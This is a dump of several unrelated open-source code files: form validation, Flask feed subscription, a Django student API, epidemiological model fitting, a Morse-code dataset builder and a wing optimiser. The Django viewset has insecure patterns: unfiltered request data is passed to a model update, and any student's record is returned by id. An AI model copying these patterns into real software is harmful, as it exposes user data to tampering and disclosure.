check.node_visited(visited):\n check()\n else:\n # If even a single check can't be run, we need to block\n block = True\n\n # Run the one off validation method\n self.validator()\n\n # a list to hold Nodes that actually have errors\n error_node_list = []\n for node in self._node_list:\n # slightly confusing way of setting our block = True by\n # default\n if node.errors:\n\n error_node_list.append(node)\n\n for error in node.errors:\n block |= error.get('block', True)\n\n return block, error_node_list\n\n def json_validate(self, data, piecewise=False, raw=False):\n \"\"\" The same as :meth:`Form.validate_render` except the errors\n are loaded into a JSON string to be passed back as a query\n result. This output is designed to be used by the Yota\n Javascript library.\n\n :param piecewise: If set to True, the validator will silently\n ignore validator for which it has insufficient information. This\n is designed to be used for the AJAJ piecewise validation\n function, although it does not have to be.\n :type piecewise: boolean\n\n :param raw: If set to True then the second return parameter will be a\n Python dictionary instead of a JSON string\n :type raw: boolean\n\n :return: A boolean whether or not the form submission is valid and the\n json string (or raw dictionary) to pass back to the javascript side.\n The boolean is an anding of submission (whether the submit button was\n actually pressed) and the block parameter (whether or not any blocking\n validators passed)\n \"\"\"\n\n # Allows user to set a modular processor on incoming data\n data = self._processor().filter_post(data)\n\n errors = {}\n \"\"\" We want to automatically block the form from actually submitting\n if this is piecewise validation. In addition if they are actually\n submitting then we want to run it as non-piecewise validation \"\"\"\n if data.get('submit_action', 'false') != 'true' and piecewise:\n block, invalid = self._gen_validate(data, piecewise=piecewise)\n block = True\n else:\n block, invalid = self._gen_validate(data, piecewise=False)\n\n # loop over our nodes and insert information for the JS callbacks\n for node in invalid:\n errors[node._attr_name] = {'identifiers': node.json_identifiers(),\n 'errors': node.errors}\n\n # if needed we should run our all form message generator and return\n # json encoded error message\n retval = {'block': block}\n if len(errors) > 0:\n header_err = self.error_header_generate(errors, block)\n if header_err:\n errors['start'] = {'identifiers': self.start.json_identifiers(),\n 'errors': header_err}\n\n if not block:\n blob = self.success_header_generate()\n if blob:\n retval['success_blob'] = blob\n if hasattr(self, 'start'):\n retval['success_ids'] = self.start.json_identifiers()\n\n retval['errors'] = errors\n\n # Throw back a variable in the json if there is both a submit\n # and no blocking errors. The main purpose here is the allow\n # easy catching of success in the view code.\n if data.get('submit_action', 'false') == 'true' and not block:\n valid = True\n self.trigger_event(\"validate_success\")\n else:\n self.trigger_event(\"validate_failure\")\n valid = False\n\n # Hold our return dictionary in memeory for easy editing later\n self._last_raw_json = retval\n\n # process the errors before we serialize\n self._process_errors()\n\n # Return our raw dictionary if requested, otherwise serialize for\n # convenience...\n if raw:\n return valid, retval\n else:\n return valid, json.dumps(retval)\n\n def validate(self, data):\n \"\"\" Runs all the validators associated with the :class:`Form`.\n\n :return: Whether the validators are blocking submission and a list of\n nodes that have validation messages.\n \"\"\"\n\n # Allows user to set a modular processor on incoming data\n data = self._processor().filter_post(data)\n block, invalid = self._gen_validate(data)\n\n # Run our validation trigger events\n if block:\n self.trigger_event(\"validate_failure\")\n else:\n self.trigger_event(\"validate_success\")\n\n return (not block), invalid\n\n def validate_render(self, data):\n \"\"\" Runs all the validators on the `data` that is passed in and returns\n a re-render of the :class:`Form` if there are validation errors,\n otherwise it returns True representing a successful submission. Since\n validators are designed to pass error information in through the\n :attr:`Node.errors` attribute then this error information is in turn\n availible through the rendering context.\n\n :param data: The data to be passed through the\n `Form._processor`. If the data is in the form of a dictionary\n where the key is the 'name' of the form field and the data is a\n string then no post-processing is neccessary.\n :type data: dictionary\n\n :return: Whether the validators are blocking submission and a re-render\n of the form with the validation data passed in.\n \"\"\"\n\n # Allows user to set a modular processor on incoming data\n data = self._processor().filter_post(data)\n\n block, invalid = self._gen_validate(data)\n\n self.g_context['block'] = block\n\n # update our state var for later update_success calls\n self._last_valid = 'render'\n\n # run our form validators at the end\n if not block:\n self.trigger_event(\"validate_success\")\n self.success_header_generate()\n else:\n self.trigger_event(\"validate_failure\")\n self.error_header_generate(invalid, block)\n\n return (not block), self.render()\n\n def validator(self):\n \"\"\" This is provided as a convenience method for Validation logic that\n is one-off, and only intended for a single form. Simply override this\n function and access any of your Nodes and their data via the self. This\n method will be called after all other Validators are run. \"\"\"\n pass\n\n def update_success(self, update_dict, raw=False):\n \"\"\" This method serves as an easy way to update your success attributes\n that are passed to the start Node rendering context, or passed back in\n JSON. It automatically recalls whether the last validation call was to\n json_validate or validate_render and modifys the correct dictionary\n accordingly.\n\n :param update_dict: The dictionary of values to update/add.\n :type data: dictionary\n\n :param raw: Whether you would like a pre-compiled JSON\n string returned, or the raw dictionary.\n :type raw: bool\n\n :return: Return value is either the new JSON string (or raw dict if\n requested) if json_validate was your last validation call, or a\n re-render of the form with updated error messages if validate_render\n was your last call.\n \"\"\"\n\n if self._last_valid == 'render':\n try:\n self.start.errors[-1].update(update_dict)\n except IndexError:\n raise IndexError(\"Error updating your error dictionary for the \"\n \"start Node. There were no errors to modify.\")\n except AttributeError:\n raise AttributeError(\"This method is designed to update an \"\n \"error dictionary, yet your errors are \"\n \"not dictionaries\")\n\n return self.render()\n\n # We're going to default to json render\n else:\n # Modify our last json dict\n try:\n self._last_raw_json['success_blob'].update(update_dict)\n except KeyError:\n raise KeyError(\"Either your json_validate method has not been \"\n \"run yet, or your success_header_generate does\"\n \" not produce output\")\n\n # Continue the raw semantic...\n if raw:\n return self._last_raw_json\n else:\n return json.dumps(self._last_raw_json)\n\n","sub_path":"src/yota/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":28716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"428369649","text":"import re\nimport time\nfrom typing import List, Dict\n\nfrom celery import group\nfrom flask import render_template, request, current_app as app, jsonify, flash\nfrom flask_security import current_user, login_required\n\nfrom feedrsub.feeds import feeds_blueprint as bp\nfrom feedrsub.feeds.feedfactory import FeedFactory\nfrom feedrsub.feeds.session_manager import FeedSessionManager\nfrom feedrsub.feeds.tasks import task_search_feed\nfrom feedrsub.ingestion import subscriber\nfrom feedrsub.utils.flash import ALERT\n\ncomment_pattern = '\\/comment(?:s)?(?:\\/)?'\ncomment_regex = re.compile(comment_pattern)\n\nexcluded_domains = ['auctorial.com']\n\n\n@bp.route('/subscribe', methods=['GET'])\n@login_required\ndef subscribe_feeds():\n flash('Search for RSS, Atom, or JSON feeds using the Search Box below. Enter the URL of the Website where ' +\n 'the Writers you\\'d like to follow are published, then click the \"Search for Feeds\" button. If we find any Feeds, ' +\n 'they will be displayed below the Search Box. Click the \"Subscribe\" button for the relevant Feed, and we will ' +\n 'automatically start following them. If the Writers you are following have Articles in the Feed, you will ' +\n 'start being notified when new Articles appear.', ALERT.INFO)\n return render_template('subscribe.html')\n\n\n@bp.route('/findfeeds', methods=['GET', 'POST'])\ndef search_feeds():\n \"\"\"\n Search for feeds for a given list of urls\n \"\"\"\n\n if request.method == 'POST':\n urls = request.form.getlist('urls[]')\n else:\n urls = request.args.getlist('url')\n\n # Accept a max of 3 unique URLs\n urls = set(urls[:3])\n\n app.logger.info('Searching for Feeds at Urls: %s', urls)\n\n start_time = time.perf_counter()\n\n # Create a Celery Task for each URL\n tasks = []\n for url in urls:\n tasks.append(task_search_feed.s(url))\n\n job = group(tasks)\n result = job.apply_async()\n\n # Get Results of Tasks\n result_list = result.get()\n\n json_feeds: List[Dict] = []\n not_found: List[str] = []\n excluded: List[str] = []\n\n for result in result_list:\n # Unpack result Tuple[List[Dict], List[str], List[str]]\n feeds, included, excluded = result\n json_feeds.extend(feeds)\n not_found.extend(included)\n excluded.extend(excluded)\n\n # Save FeedInfo to Session\n FeedSessionManager.save_feed_info(json_feeds)\n\n search_time = (time.perf_counter() - start_time)\n search_time_in_ms = int(search_time * 1000)\n\n app.logger.info('Returning found Feeds: %s', json_feeds)\n return jsonify({\"feeds\": json_feeds,\n \"not_found\": not_found,\n \"excluded\": excluded,\n \"search_time\": search_time_in_ms})\n\n\n@bp.route('/sendsubscribe', methods=['POST'])\n@login_required\ndef send_subscribe_feed():\n \"\"\"\n Subscribes to a single feed.\n \"\"\"\n\n requested_url = request.get_json()\n app.logger.info('%s requested Subscription to URL: %s', current_user, requested_url)\n\n # Only subscribe if feed was found by search_feed method and\n # loaded in session, otherwise return empty result.\n if requested_url not in FeedSessionManager.load_feed_urls():\n app.logger.warning('Requested URL: %s was not found in session', requested_url)\n return jsonify({'subscribed': None})\n\n feed_info = FeedSessionManager.get_requested_feed_info(requested_url)\n\n if not feed_info:\n app.logger.warning('Requested StatusFeedInfo for URL: %s was not found in session', requested_url)\n return jsonify({'subscribed': None})\n\n feed = FeedFactory.create_or_activate_feed(feedinfo=feed_info,\n user=current_user)\n\n if feed.is_push:\n try:\n app.logger.info('Sending subscription request for %s to %s', feed, feed.hub)\n subscriber.subscribe(feed.topic)\n except Exception as e:\n app.logger.warning('Failed to subscribe to %s: %s', feed, e)\n\n return jsonify({'subscribed': feed_info.url})\n","sub_path":"feedrsub/feeds/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"295895217","text":"from django.contrib.sites import requests\nfrom django.shortcuts import render\n# Create your views here.\nfrom rest_framework import viewsets, filters, permissions\nfrom rest_framework.decorators import action\nfrom rest_framework.pagination import PageNumberPagination\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.reverse import reverse\n\nfrom .models import Student\nfrom .serializers import StudentSerializer\n\nclass PermissionsPerMethodMixin(object):\n def get_permissions(self):\n \"\"\"\n Allows overriding default permissions with @permission_classes\n \"\"\"\n view = getattr(self, self.action)\n if hasattr(view, 'permission_classes'):\n return [permission_class() for permission_class in view.permission_classes]\n return super().get_permissions()\n\nclass StudentPagination(PageNumberPagination):\n page_size = 25\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Student.objects.all()\n serializer_class = StudentSerializer\n permission_classes = [IsAuthenticated,]\n pagination_class = StudentPagination\n filter_backends = (filters.SearchFilter,)\n search_fields = ('roll_no', 'name')\n\n def get_queryset(self):\n return self.queryset\n\n @action(detail=False, methods=['get'])\n def activate(self, request,*args, **kwargs):\n protocol = 'https://' if request.is_secure() else 'http://'\n web_url = protocol + request.get_host()\n post_url = \"http://127.0.0.1:8100/djoser_auth/users/activation/\"\n uid = request.query_params.get('uid')\n token = request.query_params.get('token')\n print(\"UID AND TOKEN\", uid, token)\n post_data = {'uid': uid, 'token': token}\n result = requests.post(post_url, post_data)\n content = result.text\n print(\"COOO\", content)\n return Response(content)\n\n @action(detail=False, methods=['get'])\n def get_student(self, request, *args, **kwargs):\n id = request.query_params.get('id')\n student = self.queryset.get(id=id)\n serializer = StudentSerializer(student, context={'request': request})\n return Response(serializer.data)\n\n @action(detail=False, methods=['get'])\n def student_info(self, request, *args, **kwargs):\n student = self.queryset.get(username = request.user)\n serializer = StudentSerializer(student, context={'request':request})\n return Response(serializer.data)\n\n @action(detail=False, methods=['post'])\n def update_info(self, request, *args, **kwargs):\n data = request.data\n Student.objects.filter(username=request.user).update(**request.data)\n student = self.queryset.get(username=request.user)\n serializer = StudentSerializer(student, context={'request': request})\n return Response(serializer.data)\n\n","sub_path":"tnp/student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"586440562","text":"__author__ = 'Avantha'\nimport threading\n\nclass AvanthaMessages(threading.Thread):\n def run(self):\n for _ in range(10):# thius ignores a variable but loop for 10 times\n print(threading.current_thread().getName())\n\nx = AvanthaMessages(name='Send out messages')\ny = AvanthaMessages(name='Receive messages')\nx.start()\ny.start()\n\n","sub_path":"Threading.py","file_name":"Threading.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"309663922","text":"import json\nfrom pprint import pprint\n\nwith open('data/manifestsample.json') as data_file:\n data = json.load(data_file)\n\n\n#pprint(data)\n\n\n#print(len(data))\n\"\"\"\nData is only 1 object in a list. Why?\nIs this being manually generated? If so, why? While this is valid, it is not logical.\n\"\"\"\n\ndata = data[0] # Pull the first item out.\n\nfor item in data:\n #pprint(item)\n\n \"\"\"\n Keys\n ['Generator', 'InternationalShipmentInfo', 'TSDF',\n 'EmergencyResponsePhone', 'DesignatedFacilityInfo',\n 'ManifestTrackingNumber', 'Transporter', 'ManifestedWaste',\n 'AdditionalInfo_Line14']\n \"\"\"\n\n for value in data[item]:\n #pprint(type(value))\n \"\"\" Values are strings or dicts \"\"\"\n\n print(item, value)\n\n\n\n","sub_path":"parse_json.py","file_name":"parse_json.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"578036179","text":"from collections import defaultdict\nfrom timeit import default_timer as timer\nfrom types import SimpleNamespace\n\nimport pandas as pd\nfrom numpy import nan\n\nfrom cascade.core import getLoggers\nfrom cascade.core.db import db_queries, age_spans\nfrom cascade.executor.covariate_data import assign_epiviz_covariate_names\nfrom cascade.executor.covariate_data import find_covariate_names, add_covariate_data_to_observations_and_avgints\nfrom cascade.executor.session_options import make_options, make_minimum_meas_cv\nfrom cascade.input_data.configuration.construct_bundle import (\n normalized_bundle_from_database,\n normalized_bundle_from_disk,\n bundle_to_observations,\n strip_bundle_exclusions,\n dataframe_from_disk)\nfrom cascade.input_data.configuration.construct_country import check_binary_covariates\nfrom cascade.input_data.configuration.construct_country import convert_gbd_ids_to_dismod_values\nfrom cascade.input_data.configuration.construct_mortality import get_raw_csmr, normalize_csmr\nfrom cascade.input_data.configuration.id_map import make_integrand_map\nfrom cascade.input_data.db.asdr import asdr_as_fit_input\nfrom cascade.input_data.db.country_covariates import country_covariate_set\nfrom cascade.input_data.db.locations import (\n location_hierarchy, location_hierarchy_to_dataframe, all_locations_with_these_parents\n)\nfrom cascade.input_data.db.study_covariates import get_study_covariates\nfrom cascade.model import ObjectWrapper\nfrom cascade.model.integrands import make_average_integrand_cases_from_gbd\nfrom cascade.saver.save_prediction import save_predicted_value, uncertainty_from_prediction_draws\n\nCODELOG, MATHLOG = getLoggers(__name__)\n\n\ndef retrieve_data(execution_context, local_settings, included_locations, covariate_data_spec):\n \"\"\"Gets data from the outside world.\"\"\"\n data = SimpleNamespace()\n data_access = local_settings.data_access\n model_version_id = data_access.model_version_id\n\n data.locations = location_hierarchy(\n data_access.gbd_round_id, location_set_version_id=data_access.location_set_version_id)\n\n if data_access.bundle_file:\n data.bundle = normalized_bundle_from_disk(data_access.bundle_file)\n else:\n data.bundle = normalized_bundle_from_database(\n execution_context,\n model_version_id,\n bundle_id=local_settings.data_access.bundle_id,\n tier=local_settings.data_access.tier\n )\n CODELOG.debug(f\"Bundle length {len(data.bundle)} \")\n # Study covariates will have columns {\"bundle_id\", \"seq\", \"study_covariate_id\"}.\n if data_access.bundle_study_covariates_file:\n data.sparse_covariate_data = dataframe_from_disk(data_access.bundle_study_covariates_file)\n else:\n mvid = data_access.model_version_id\n data.sparse_covariate_data = get_study_covariates(\n execution_context, data_access.bundle_id, mvid, tier=data_access.tier)\n\n country_covariate_ids = {\n spec.covariate_id for spec in covariate_data_spec\n if spec.study_country == \"country\"\n }\n data.study_id_to_name, data.country_id_to_name = find_covariate_names(\n execution_context, covariate_data_spec)\n assign_epiviz_covariate_names(\n data.study_id_to_name, data.country_id_to_name, covariate_data_spec\n )\n\n # Raw country covariate data. Must be subset for children.\n covariates_by_age_id = country_covariate_set(\n country_covariate_ids,\n demographics=dict(age_group_ids=\"all\", year_ids=\"all\", sex_ids=\"all\",\n location_ids=list(data.locations.nodes)),\n gbd_round_id=data_access.gbd_round_id,\n decomp_step=data_access.decomp_step,\n )\n # Every age group defined, so that we can search for what's given.\n all_age_spans = age_spans.get_age_spans()\n data.country_covariates = dict()\n for covariate_id, covariate_df in covariates_by_age_id.items():\n ccov_ranges_df = convert_gbd_ids_to_dismod_values(covariate_df, all_age_spans)\n data.country_covariates[covariate_id] = ccov_ranges_df\n\n data.country_covariates_binary = check_binary_covariates(execution_context, country_covariate_ids)\n\n # Standard GBD age groups with IDs, start, finish.\n data.ages_df = db_queries.get_age_metadata(\n age_group_set_id=data_access.age_group_set_id,\n gbd_round_id=data_access.gbd_round_id\n )\n # Returns a dictionary of demographic IDs.\n data.years_df = db_queries.get_demographics(\n gbd_team=\"epi\", gbd_round_id=data_access.gbd_round_id)[\"year_id\"]\n\n # This comes in yearly from 1950 to 2018\n # Must be subset for children.\n mortality_locations = all_locations_with_these_parents(\n data.locations, included_locations\n )\n all_sexes = [1, 2, 3]\n data.age_specific_death_rate = asdr_as_fit_input(\n data_access.location_set_version_id,\n mortality_locations,\n all_sexes,\n data_access.gbd_round_id,\n data_access.decomp_step,\n data.ages_df,\n with_hiv=data_access.with_hiv\n )\n data.cause_specific_mortality_rate = get_raw_csmr(\n execution_context, local_settings.data_access,\n mortality_locations, all_age_spans)\n\n return data\n\n\ndef modify_input_data(input_data, local_settings):\n \"\"\"Transforms data to input for model.\"\"\"\n ev_settings = local_settings.settings\n # These are suitable for input to the fit.\n if not ev_settings.eta.is_field_unset(\"data\") and ev_settings.eta.data:\n data_eta = defaultdict(lambda: float(ev_settings.eta.data))\n else:\n data_eta = defaultdict(lambda: nan)\n id_to_integrand = make_integrand_map()\n for set_eta in ev_settings.data_eta_by_integrand:\n data_eta[id_to_integrand[set_eta.integrand_measure_id]] = float(set_eta.value)\n\n if not ev_settings.model.is_field_unset(\"data_density\") and ev_settings.model.data_density:\n density = defaultdict(lambda: ev_settings.model.data_density)\n else:\n density = defaultdict(lambda: \"gaussian\")\n for set_density in ev_settings.data_density_by_integrand:\n density[id_to_integrand[set_density.integrand_measure_id]] = set_density.value\n\n csmr = normalize_csmr(input_data.cause_specific_mortality_rate, local_settings.sexes)\n CODELOG.debug(f\"bundle cols {input_data.bundle.columns}\\ncsmr cols {csmr.columns}\")\n assert not set(csmr.columns) - set(input_data.bundle.columns)\n bundle_with_added = pd.concat([input_data.bundle, csmr], sort=False)\n bundle_without_excluded = strip_bundle_exclusions(bundle_with_added, ev_settings)\n nu = defaultdict(lambda: nan)\n nu[\"students\"] = local_settings.settings.students_dof.data\n nu[\"log_students\"] = local_settings.settings.log_students_dof.data\n\n # These observations still have a seq column.\n input_data.observations = bundle_to_observations(\n bundle_without_excluded,\n local_settings.parent_location_id,\n data_eta,\n density,\n nu,\n )\n # ev_settings.data_eta_by_integrand is a dummy in form.py.\n MATHLOG.info(f\"Ignoring data_eta_by_integrand\")\n\n input_data.locations_df = location_hierarchy_to_dataframe(input_data.locations)\n return input_data\n\n\ndef one_location_data_from_global_data(global_data, local_settings):\n \"\"\"\n Responsible for localizing global data to this location and its children.\n The global data has been saved, for all locations, earlier. This\n looks at settings and subselects that data.\n\n Args:\n global_data (SimpleNamespace): A bag of data.\n local_settings (SimpleNamespace): Settings that have been build\n for this location.\n\n Returns:\n SimpleNamespace: The same object, but data is modified.\n \"\"\"\n include_birth_prevalence = local_settings.settings.model.birth_prev\n # Make avgints here b/c they are wrote and not worth saving.\n global_data.average_integrand_cases = \\\n make_average_integrand_cases_from_gbd(\n global_data.ages_df,\n global_data.years_df,\n local_settings.sexes,\n local_settings.children,\n include_birth_prevalence\n )\n add_covariate_data_to_observations_and_avgints(global_data, local_settings, global_data.covariate_data_spec)\n global_data.observations = global_data.observations.drop(columns=[\"sex_id\", \"seq\"])\n set_sex_reference(global_data.covariate_data_spec, local_settings)\n\n # These are the draws as output of the parent location. Called draws.\n global_data.draws = None\n\n # The parent can also supply integrands as a kind of prior.\n # These will be shaped like input measurement data. Called fit-integrands.\n global_data.integrands = None\n return global_data\n\n\ndef set_sex_reference(covariate_data_spec, local_settings):\n \"\"\"The sex covariate holds out data for the sex by setting the ``reference``\n and ``max_difference``. If sex is 1, then set reference to 0.5 and max\n difference to 0.75. If sex is 2, reference is -0.5. If it's 3 or 4,\n then reference is 0.\"\"\"\n sex_covariate = [sc_sex for sc_sex in covariate_data_spec\n if sc_sex.covariate_id == 0 and sc_sex.transformation_id == 0]\n if sex_covariate:\n sex_assignments_to_exclude_by_value = {\n (1,): [0.5, 0.25],\n (2,): [-0.5, 0.25],\n (3,): [0.0, 0.25],\n (1, 3): [0.5, 0.75],\n (2, 3): [-0.5, 0.75],\n (1, 2, 3): [0.0, 0.75],\n }\n reference, max_difference = sex_assignments_to_exclude_by_value[tuple(sorted(local_settings.sexes))]\n sex_covariate[0].reference = reference\n sex_covariate[0].max_difference = max_difference\n\n\ndef compute_parent_fit_fixed(execution_context, db_path, local_settings, input_data, model):\n \"\"\"\n\n Args:\n execution_context:\n input_data: These include observations and initial guess.\n model (Model): A complete Model object.\n\n Returns:\n The fit.\n \"\"\"\n begin = timer()\n dismod_objects = ObjectWrapper(str(db_path))\n dismod_objects.locations = input_data.locations_df\n dismod_objects.parent_location_id = model.location_id\n dismod_objects.model = model\n dismod_objects.set_option(**make_options(local_settings.settings, local_settings.model_options))\n for integrand_name, value in make_minimum_meas_cv(local_settings.settings).items():\n dismod_objects.set_minimum_meas_cv(integrand_name, value)\n if not local_settings.run.db_only:\n dismod_objects.run_dismod(\"init\")\n stdout, stderr, _metrics = dismod_objects.run_dismod([\"fit\", \"fixed\"])\n CODELOG.debug(stdout)\n CODELOG.debug(stderr)\n else:\n dismod_objects.run_dismod(\"init\")\n MATHLOG.info(f\"Ran with db_only so not running dismod fit fixed on {db_path}.\")\n CODELOG.info(f\"fit fixed {timer() - begin}\")\n\n\ndef compute_parent_fit(execution_context, db_path, local_settings, simulate_idx=None):\n \"\"\"\n\n Args:\n execution_context:\n input_data: These include observations and initial guess.\n model (Model): A complete Model object.\n simulate_idx (int): Which simulation to fit.\n\n Returns:\n The fit.\n \"\"\"\n begin = timer()\n dismod_objects = ObjectWrapper(str(db_path))\n dismod_objects.set_option(**make_options(local_settings.settings, local_settings.model_options))\n fit_var = dismod_objects.fit_var\n dismod_objects.start_var = fit_var\n dismod_objects.scale_var = fit_var\n\n if not local_settings.run.db_only:\n dismod_objects.run_dismod(\"init\")\n command = [\"fit\", \"both\"]\n if simulate_idx is not None:\n command += [simulate_idx]\n stdout, stderr, _metrics = dismod_objects.run_dismod(command)\n CODELOG.debug(stdout)\n CODELOG.debug(stderr)\n else:\n dismod_objects.run_dismod(\"init\")\n MATHLOG.info(f\"Ran with db_only so not running dismod fit both on {db_path}.\")\n CODELOG.info(f\"fit fixed {timer() - begin}\")\n\n dismod_objects.avgint = None # Need to make an avgint table.\n dismod_objects.truth_var = dismod_objects.fit_var\n dismod_objects.run_dismod([\"predict\", \"truth_var\"])\n\n draw_cnt = local_settings.number_of_fixed_effect_samples\n dismod_objects.run_dismod([\"simulate\", str(draw_cnt)])\n\n\ndef gather_simulations_and_fit(fit_path, simulation_paths):\n predictions = list()\n for draw_path in simulation_paths:\n draw_objects = ObjectWrapper(str(draw_path))\n predicted, not_predicted = draw_objects.predict\n predictions.append(predicted)\n draw_objects.close()\n\n fit_objects = ObjectWrapper(str(fit_path))\n pred_fit, not_pred_fit = fit_objects.predict\n fit_objects.close()\n return pred_fit, predictions\n\n\ndef save_outputs(\n computed_fit, predictions, execution_context, local_settings, summary_path\n):\n predictions = uncertainty_from_prediction_draws(computed_fit, predictions)\n save_predicted_value(\n execution_context, predictions, \"fit\", summary_path, local_settings.run.no_upload\n )\n\n\ndef fit_and_predict_fixed_effect_sample(db_path, draw_idx):\n dismod_objects = ObjectWrapper(str(db_path))\n # -1 because we are using 1-based draw index and Dismod-AT is zero-based.\n dismod_objects.run_dismod([\"fit\", str(draw_idx - 1)])\n dismod_objects.avgint = None # Need to make an avgint table.\n dismod_objects.truth_var = dismod_objects.fit_var\n dismod_objects.run_dismod([\"predict\"])\n","sub_path":"src/cascade/executor/estimate_location.py","file_name":"estimate_location.py","file_ext":"py","file_size_in_byte":13427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"197901606","text":"import random\n\nnletters = 26\nrunning_output = False\ncode_conversions = [None] * 27\n\ncode_conversions[1] = \".-\" # A 2 4 (5)\ncode_conversions[2] = \"-...\" # B 4 8 (9)\ncode_conversions[3] = \"-.-.\" # C 4 9 (11)\ncode_conversions[4] = \"-..\" # D 3 6 (7)\ncode_conversions[5] = \".\" # E 1 1 (1)\ncode_conversions[6] = \"..-.\" # F 4 8 (9)\ncode_conversions[7] = \"--.\" # G 3 7 (9)\ncode_conversions[8] = \"....\" # H 4 7 (7)\ncode_conversions[9] = \"..\" # I 2 3 (3)\ncode_conversions[10] = \".---\" # J 4 10 (13)\ncode_conversions[11] = \"-.-\" # K 3 7 (9)\ncode_conversions[12] = \".-..\" # L 4 8 (9)\ncode_conversions[13] = \"--\" # M 2 5 (7)\ncode_conversions[14] = \"-.\" # N 2 4 (5)\ncode_conversions[15] = \"---\" # O 3 8 (11)\ncode_conversions[16] = \".--.\" # P 4 9 (11)\ncode_conversions[17] = \"--.-\" # Q 4 10 (13)\ncode_conversions[18] = \".-.\" # R 3 6 (7)\ncode_conversions[19] = \"...\" # S 3 5 (5)\ncode_conversions[20] = \"-\" # T 1 2 (3)\ncode_conversions[21] = \"..-\" # U 3 6 (7)\ncode_conversions[22] = \"...-\" # V 4 8 (9)\ncode_conversions[23] = \".--\" # W 3 7 (9)\ncode_conversions[24] = \"-..-\" # X 4 9 (11)\ncode_conversions[25] = \"-.--\" # Y 4 10 (13)\ncode_conversions[26] = \"--..\" # Z 4 9 (11)\n\n\ndef random_string(length, chars_used=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"):\n \"\"\"Returns a random string of length length using only the characters present\n in the string chars_used; removes duplicates so each character has equal\n probability of being chosen\"\"\"\n chars_used = list(set(chars_used.upper()))\n s = [None] * length\n for i in range(length):\n s[i] = random.choice(chars_used)\n return ''.join(s)\n\n\ndef string_to_code(s):\n \"\"\"Given a string of characters, S returns three values: a vector of input\n patterns in the proper morse-code representation, a corresponding vector\n of output patterns, and a vector of break values with a T at the start of\n each new character.\"\"\"\n inlist = []\n outlist = []\n breaklist = []\n for i in range(len(s)):\n c = ord(s[i]) - 64\n morse = code_conversions[c]\n outpat = [-0.5] * (nletters + 1)\n strobepat = [-0.5] * (nletters + 1)\n if (running_output):\n outpat[c] = 0.5\n strobepat[0] = 0.5\n strobepat[c] = 0.5\n for j in range(len(morse)):\n if (morse[j] == '.'):\n inlist = [[-0.5], [0.5]] + inlist\n outlist = [outpat[:], outpat[:]] + outlist\n breaklist = [False, (j == 0)] + breaklist\n else:\n inlist = [[-0.5], [0.5], [0.5]] + inlist\n outlist = [outpat[:], outpat[:], outpat[:]] + outlist\n breaklist = [False, False, (j == 0)] + breaklist\n outlist = [strobepat[:]] + outlist\n inlist = [[-0.5]] + inlist\n breaklist = [False] + breaklist\n\n inlist.reverse()\n outlist.reverse()\n breaklist.reverse()\n return (inlist, outlist, breaklist)\n\ntraining_string = None\ntest_string = None\n\ndef build_morse(s, continuing=False):\n \"\"\"Given a string of characters, create a training set for the morse code\n representation of the string. There is no test set. If CONTINUE is on,\n make use of pre-existing hidden units.\"\"\"\n global training_string, training_inputs, training_outputs, training_breaks, use_training_breaks, test_inputs, \\\n test_outputs, test_breaks, test_string, \\\n use_test_breaks, ninputs, noutputs, nletters\n\n training_string = s\n (inputs, outputs, breaks) = string_to_code(s)\n training_inputs = inputs\n training_outputs = outputs\n training_breaks = breaks\n use_training_breaks = True\n test_inputs = training_inputs\n test_outputs = training_outputs\n test_breaks = training_breaks\n test_string = None\n use_test_breaks = True\n ninputs = 1\n noutputs = nletters + 1\n if continuing:\n changed_training_set()\n # build_net(ninputs, noutputs)\n # init_net()\n print(f'Training on {s}')\n\n\n\n\nbuild_morse(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n\n","sub_path":"Cascor-NumPy/datasets/morse.py","file_name":"morse.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"545669408","text":"\"\"\"Optimize wing section for a given planform and flight condition.\"\"\"\n\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport matplotlib.font_manager as font_manager\n\nfrom deap import base\nfrom deap import creator\nfrom deap import tools\nfrom deap import algorithms\n\nfrom ambiance import Atmosphere\n\nfrom aerodynamics_toolbox import interpolate_airfoil_polar\nfrom aerodynamics_toolbox import get_3D_aerodynamics\nfrom aerodynamics_toolbox import runXfoil\n\nfrom aircraft_plotter import naca_4_series\nfrom aircraft_plotter import create_VSP_wing\n\nsns.set_theme(style='darkgrid', font='Palatino Linotype', context='paper')\nFONT_FILE = 'C:/Windows/Fonts/pala.ttf'\nfont_manager.fontManager.addfont(FONT_FILE)\n\n\n# %% Problem constants\n\nH = 640 # m AMSL\nV = 22 # m/s\ng = Atmosphere(H).grav_accel[0] # m/s^2\nrho = Atmosphere(H).density[0] # kg/m^3\nnu = Atmosphere(H).kinematic_viscosity[0] # m^2/s\n\nWL = 23.239 # kg/m^2\nW0 = 10 # kg\nAR = 11\n\n# planform = [0.344, 0.329, 0.232, 0.2] # 6 sections\n# planform = [0.34, 0.338, 0.303, 0.202, 0.2] # 8 sections\nplanform = [0.252, 0.236, 0.186, 0.1] # 10 sections\nn_sections = 6\n\nmax_camber_min = 0 # %\nmax_camber_max = 6 # %\nmax_camber_loc_min = 2 # 10%\nmax_camber_loc_max = 6 # 10%\nmax_tc_min = 13 # %\nmax_tc_max = 25 # %\n\nS_ideal = W0/WL # m^2\nb = round(np.sqrt(AR*S_ideal), 2) # m\ndy = b/n_sections # m\ny_stations = np.linspace(0, b/2, n_sections//2 + 1) # 